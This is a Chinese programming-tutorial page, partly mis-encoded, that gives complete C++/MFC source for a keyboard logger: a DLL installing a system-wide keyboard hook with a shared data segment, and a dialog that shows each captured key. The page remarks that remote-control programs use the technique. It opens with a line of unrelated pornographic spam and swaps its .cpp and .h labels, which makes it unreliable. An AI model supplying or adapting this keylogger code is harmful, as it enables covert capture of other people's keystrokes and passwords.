欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

C++鍵盤記錄程序代碼

 更新時(shí)間:2014年10月16日 09:33:30   投稿:shichen2014  
這篇文章主要介紹了C++鍵盤記錄程序代碼,是Windows應(yīng)用程序開發(fā)中非常實(shí)用的功能,該功能也常被一些遠(yuǎn)程操控程序所實(shí)用,需要的朋友可以參考下

本文實(shí)例講述了C++鍵盤記錄程序。分享給大家供大家參考。具體分析如下:

主程序如下:

就是基于對(duì)話框的框架,加個(gè)個(gè)OnHookKey函數(shù),

復(fù)制代碼 代碼如下:
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //處理自定義消息 

    char szKey[80]={0}; 
    GetKeyNameText(lParam, szKey, 80); 
    CString strItem; 
    strItem.Format("按鍵:%s\r\n", szKey); 
    CString strEdit; 
    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); 
    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); 
    ::MessageBeep(MB_OK); 
    return 0; 
}

在初始化時(shí),調(diào)用DLL中的:
復(fù)制代碼 代碼如下:
SetKeyHook(TRUE, 0, m_hWnd)

在析構(gòu)時(shí),調(diào)用DLL中的:
復(fù)制代碼 代碼如下:
SetKeyHook(FALSE);

.cpp源文件代碼:

復(fù)制代碼 代碼如下:
#include <afxwin.h> 
#define  HM_KEY WM_USER+100 
//CMyApp 
class CMyApp:public CWinApp 

public: 
    BOOL InitInstance(); 
}; 
 
//CMyDialog 
class CMainDialog:public CDialog 

public: 
    CMainDialog(CWnd* pParentWnd = NULL); 
 
protected: 
    virtual BOOL OnInitDialog( ); 
    afx_msg void OnCancel(); 
    afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //處理自定義消息的聲明 
 
    DECLARE_MESSAGE_MAP() 
};

.h頭文件代碼:

復(fù)制代碼 代碼如下:
#include "resource.h" 
#include "KeyHookApp.h" 
#include "KeyHook.h" 
#pragma comment(lib,"KeyHook.lib") 
 
CMyApp theApp; 
 
BOOL CMyApp::InitInstance() 

    CMainDialog dlg; 
    m_pMainWnd = &dlg;   //給m_pMainWnd 主窗口 
    dlg.DoModal(); 
    return FALSE; //不進(jìn)入消息循環(huán) 

 
BEGIN_MESSAGE_MAP(CMainDialog, CDialog) 
    ON_MESSAGE(HM_KEY, OnHookKey) //自定義消息 
END_MESSAGE_MAP() 
 
//CMainDialog 
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)   
{   
 
}  
BOOL CMainDialog::OnInitDialog( ) 

    CDialog::OnInitDialog(); 
    if (!SetKeyHook(TRUE, 0, m_hWnd)) 
    { 
        MessageBox("安裝鉤子失敗"); 
    } 
     
    return TRUE; 

//處理關(guān)閉消息 
void CMainDialog::OnCancel() 

    OutputDebugString("oncancel"); 
    SetKeyHook(FALSE); 
    CDialog::OnCancel(); 
    return; 

long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //處理自定義消息 

    char szKey[80]={0}; 
    GetKeyNameText(lParam, szKey, 80); 
    CString strItem; 
    strItem.Format("按鍵:%s\r\n", szKey); 
    CString strEdit; 
    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); 
    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); 
    ::MessageBeep(MB_OK); 
    return 0; 
}

dll的代碼:
.cpp源文件代碼:

復(fù)制代碼 代碼如下:
// KeyHook.cpp : 定義 DLL 應(yīng)用程序的導(dǎo)出函數(shù)。 
// 
 
#include "stdafx.h" 
#include "KeyHook.h" 
 
 
//共享數(shù)據(jù)段 
#pragma data_seg("YCIShared") 
HWND g_hWndCaller=NULL; //保存主窗口句柄 
HHOOK g_hHook = NULL; //保存鉤子句柄  
#pragma data_seg() 
// 這是導(dǎo)出變量的一個(gè)示例 
KEYHOOK_API int nKeyHook=0; 
 
// 這是導(dǎo)出函數(shù)的一個(gè)示例。 
KEYHOOK_API int fnKeyHook(void) 

    return 42; 

 
 
//通過內(nèi)存得到模塊句柄的幫助函數(shù) 
HMODULE WINAPI ModuleFromAddress(LPVOID pv) 

    MEMORY_BASIC_INFORMATION  mbi; 
    if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) 
    { 
        return (HMODULE)mbi.AllocationBase; 
    } 
    else 
    { 
        return NULL; 
    } 

//鉤子處理函數(shù) 
LRESULT CALLBACK KeyboardProc( 
    __in  int code, 
    __in  WPARAM wParam, 
    __in  LPARAM lParam 
    ) 

    if (code<0||code==HC_NOREM) 
    { 
        return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
    } 
    //如果重復(fù)消息,交給下一鏈 
    if (lParam & 0x40000000) 
    { 
        return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
    } 
    //通知主窗口 
    ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam); 
    return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
     

//安裝和卸載鉤子函數(shù) 
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller) 

    BOOL bRet = TRUE; 
    g_hWndCaller = hWndCaller; 
    if (bInstall) //安裝鉤子 
    { 
        g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId); 
        bRet = (g_hHook != NULL); 
    } 
    else //卸載鉤子 
    { 
        ::UnhookWindowsHookEx(g_hHook); 
        g_hHook = NULL; 
    } 
    return bRet; 

// 這是已導(dǎo)出類的構(gòu)造函數(shù)。 
// 有關(guān)類定義的信息,請(qǐng)參閱 KeyHook.h 
CKeyHook::CKeyHook() 

    return; 
}

.h頭文件代碼:

復(fù)制代碼 代碼如下:
// 下列 ifdef 塊是創(chuàng)建使從 DLL 導(dǎo)出更簡(jiǎn)單的 
// 宏的標(biāo)準(zhǔn)方法。此 DLL 中的所有文件都是用命令行上定義的 KEYHOOK_EXPORTS 
// 符號(hào)編譯的。在使用此 DLL 的 
// 任何其他項(xiàng)目上不應(yīng)定義此符號(hào)。這樣,源文件中包含此文件的任何其他項(xiàng)目都會(huì)將 
// KEYHOOK_API 函數(shù)視為是從 DLL 導(dǎo)入的,而此 DLL 則將用此宏定義的 
// 符號(hào)視為是被導(dǎo)出的。 
#ifdef KEYHOOK_EXPORTS 
#define KEYHOOK_API __declspec(dllexport) 
#else 
#define KEYHOOK_API __declspec(dllimport) 
#endif 
 
#define  HM_KEY WM_USER + 100 
// 此類是從 KeyHook.dll 導(dǎo)出的 
class KEYHOOK_API CKeyHook { 
public: 
    CKeyHook(void); 
    // TODO: 在此添加您的方法。 
}; 
 
extern KEYHOOK_API int nKeyHook; 
 
KEYHOOK_API int fnKeyHook(void); 
 
//聲明要導(dǎo)出的 
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);

.def代碼:

復(fù)制代碼 代碼如下:
EXPORTS 
    SetKeyHook 
SECTIONS 
    YCIShared  Read Write Shared

希望本文所述對(duì)大家的C++程序設(shè)計(jì)有所幫助。

相關(guān)文章

最新評(píng)論